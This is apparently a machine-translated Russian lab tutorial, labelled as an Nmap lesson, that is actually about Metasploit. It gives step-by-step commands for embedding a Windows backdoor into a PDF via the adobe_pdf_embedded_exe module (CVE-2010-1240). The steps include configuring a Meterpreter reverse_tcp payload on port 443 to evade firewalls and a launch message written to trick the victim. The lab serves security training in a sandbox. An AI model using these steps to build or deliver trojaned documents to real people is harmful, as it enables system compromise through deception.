Внедрение Windows бэкдора в Adobe PDF с помощью Nmap

NmapNmapBeginner
Практиковаться сейчас

💡 Этот учебник переведен с английского с помощью ИИ. Чтобы просмотреть оригинал, вы можете перейти на английский оригинал

Введение

В этом лабораторном занятии мы рассмотрим, как использовать уязвимость встроенного модуля в Adobe PDF для внедрения Windows-бесконечного доступа (backdoor). Процесс лабораторной работы включает передачу PDF-файла, содержащего бэкдор, на Windows-систему. Когда владелец откроет этот PDF-файл с помощью Adobe Reader, целевая Windows-система будет зараженна.

Среда лабораторной работы, предоставляемая LabEx, не содержит виртуальную машину с Windows, поэтому мы не можем проверить эффективность атаки. Процесс лабораторной работы лишь продемонстрирует, как внедрить программу бэкдора.

Кроме того, в этом лабораторном занятии вам не нужно запускать целевую машину. Вам нужно только запустить среду Kali Linux, и успешно созданный PDF-файл будет помещен в каталог /root/ хоста Kali.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/save_output("Save Output to File") nmap/NmapGroup -.-> nmap/firewall_evasion("Firewall Evasion Techniques") subgraph Lab Skills nmap/save_output -.-> lab-416134{{"Внедрение Windows бэкдора в Adobe PDF с помощью Nmap"}} nmap/firewall_evasion -.-> lab-416134{{"Внедрение Windows бэкдора в Adobe PDF с помощью Nmap"}} end

Запуск консоли Metasploit Framework

Теперь вы запустите машину-атакующую (контейнер Kali Linux) и целевую машину (виртуальную машину Metasploitable2) для проведения эксперимента.

  1. Откройте терминал xfce на хост-машине LabEx и запустите целевую машину Metasploitable2, выполнив следующую команду:
sudo virsh start Metasploitable2

Подождите, пока целевая машина запустится. Это может занять от 1 до 3 минут.

  1. Проверьте связь с целевой машиной, отправив ей ping:
ping 192.168.122.102

Нажмите Ctrl+C, чтобы остановить ping.

  1. Запустите контейнер Kali Linux и войдите в среду bash, выполнив команду:
docker run -ti --network host b5b709a49cd5 bash
  1. Внутри контейнера Kali проверьте сетевое соединение с целевой машиной:
ping 192.168.122.102

Нажмите Ctrl+C, чтобы остановить ping.

Теперь как машина-атакующая, так и целевая машина работают, и вы можете приступить к пентестингу.

Примечание: Если вы случайно выйдете из текущего сеанса bash, контейнер Kali автоматически остановится. Вы можете снова выполнить команду docker run -ti --network host b5b709a49cd5 bash на хост-машине, чтобы запустить новый контейнер Kali и войти в bash для продолжения эксперимента.

В контейнере Kali Linux введите следующие команды в терминале bash Kali Linux:

service postgresql start
msfdb init
cd ~
msfconsole

Это запустит службу базы данных PostgreSQL, инициализирует базу данных и запустит консоль Metasploit Framework (msfconsole) для дальнейших операций.

Использование эксплойт-модуля

В msfconsole выполните следующую команду, чтобы использовать эксплойт-модуль:

use exploit/windows/fileformat/adobe_pdf_embedded_exe

Это загрузит эксплойт-модуль adobe_pdf_embedded_exe, который позволяет внедрить исполняемую полезную нагрузку в PDF-файл.

Используйте команду show options, чтобы просмотреть настраиваемые параметры эксплойт-модуля:

show options

Это отобразит доступные параметры, такие как:

  • EXENAME: Путь к исполняемому файлу, который будет внедрен в PDF.
  • FILENAME: Имя выходного PDF-файла (по умолчанию: evil.pdf).
  • INFILENAME: Полный путь к входному PDF-файлу (по умолчанию: встроенный PDF-файл).
  • LAUNCH_MESSAGE: Сообщение-подсказка, чтобы обмануть пользователя и заставить его выполнить встроенный исполняемый файл.

Вы можете оставить большинство параметров со значениями по умолчанию, но вы можете установить параметр INFILENAME, чтобы указать путь к входному PDF-файлу, который вы хотите заразить.

После настройки параметров используйте команду exploit, чтобы выполнить атаку:

exploit

Это внедрит полезную нагрузку в указанный входной PDF-файл и сгенерирует новый PDF-файл с встроенным исполняемым файлом.

Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку

Проверка выходного файла

После выполнения эксплойта сгенерированный PDF-файл, содержащий вредоносную полезную нагрузку, будет находиться по пути /root/.msf4/local/evil.pdf. Вы можете выйти из msfconsole и проверить этот файл:

ls -l /root/.msf4/local/evil.pdf

Вы должны заметить увеличение размера файла, что указывает на наличие встроенного исполняемого файла. Когда PDF-файл будет открыт, он отобразит настроенное сообщение запуска, предлагая пользователю нажать и выполнить встроенную программу.

Установка пользовательской полезной нагрузки

Чтобы сделать зараженный PDF-файл более ценным, мы можем установить для него пользовательскую полезную нагрузку.

Вновь войдите в msfconsole:

cd ~
msfconsole

В msfconsole следуйте предыдущим шагам, чтобы выбрать модуль атаки:

use exploit/windows/fileformat/adobe_pdf_embedded_exe

На этот раз мы будем использовать полезную нагрузку windows/meterpreter/reverse_tcp, которая представляет собой Meterpreter-бесконечный доступ (backdoor), устанавливающий TCP-соединение от скомпрометированного хоста обратно к машине атакующего, позволяя напрямую получать доступ к скомпрометированной системе. Если нужно, вы можете использовать команду show payloads, чтобы просмотреть и выбрать другие полезные нагрузки.

Установите полезную нагрузку windows/meterpreter/reverse_tcp:

set payload windows/meterpreter/reverse_tcp

Настройте полезную нагрузку, указав IP-адрес и порт вашего хоста Kali для приема входящего соединения. Убедитесь, что целевой хост может подключиться к вашему хосту Kali:

set lhost 192.168.122.1

Использование порта 443 может помочь обойти некоторые брандмауэры:

set lport 443

Затем используйте команду exploit, чтобы сгенерировать вредоносный PDF:

exploit

Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку

Проверка выходного файла снова

Проверьте размер сгенерированного PDF-файла:

ls -l /root/.msf4/local/evil.pdf

Вы должны заметить, что размер файла меньше, чем при использовании полезной нагрузки по умолчанию, так как полезная нагрузка windows/meterpreter/reverse_tcp более компактна.

Резюме

В этом практическом занятии мы научились использовать уязвимость Adobe Reader (CVE-2010-1240), которая заключается в невалидации встроенного содержимого в PDF-файлах. Внедрив бэкдор-программу в PDF-файл и обманув пользователя, чтобы он ее запустил, мы можем получить доступ к целевому Windows-хосту. В этом практическом занятии были рассмотрены следующие ключевые моменты:

  • Базовые команды Linux
  • Операции в консоли Metasploit Framework
  • Введение в уязвимость Adobe PDF Embedded EXE (CVE-2010-1240)
  • Как эксплоитировать уязвимость и внедрить бэкдор-программу

В практическом занятии была получена практическая работа по созданию вредоносных PDF-файлов с встроенными полезными нагрузками, настройке различных параметров и пониманию влияния разных полезных нагрузок на размер файла. Эти знания могут быть полезны для понимания и предотвращения таких атак в реальных сценариях.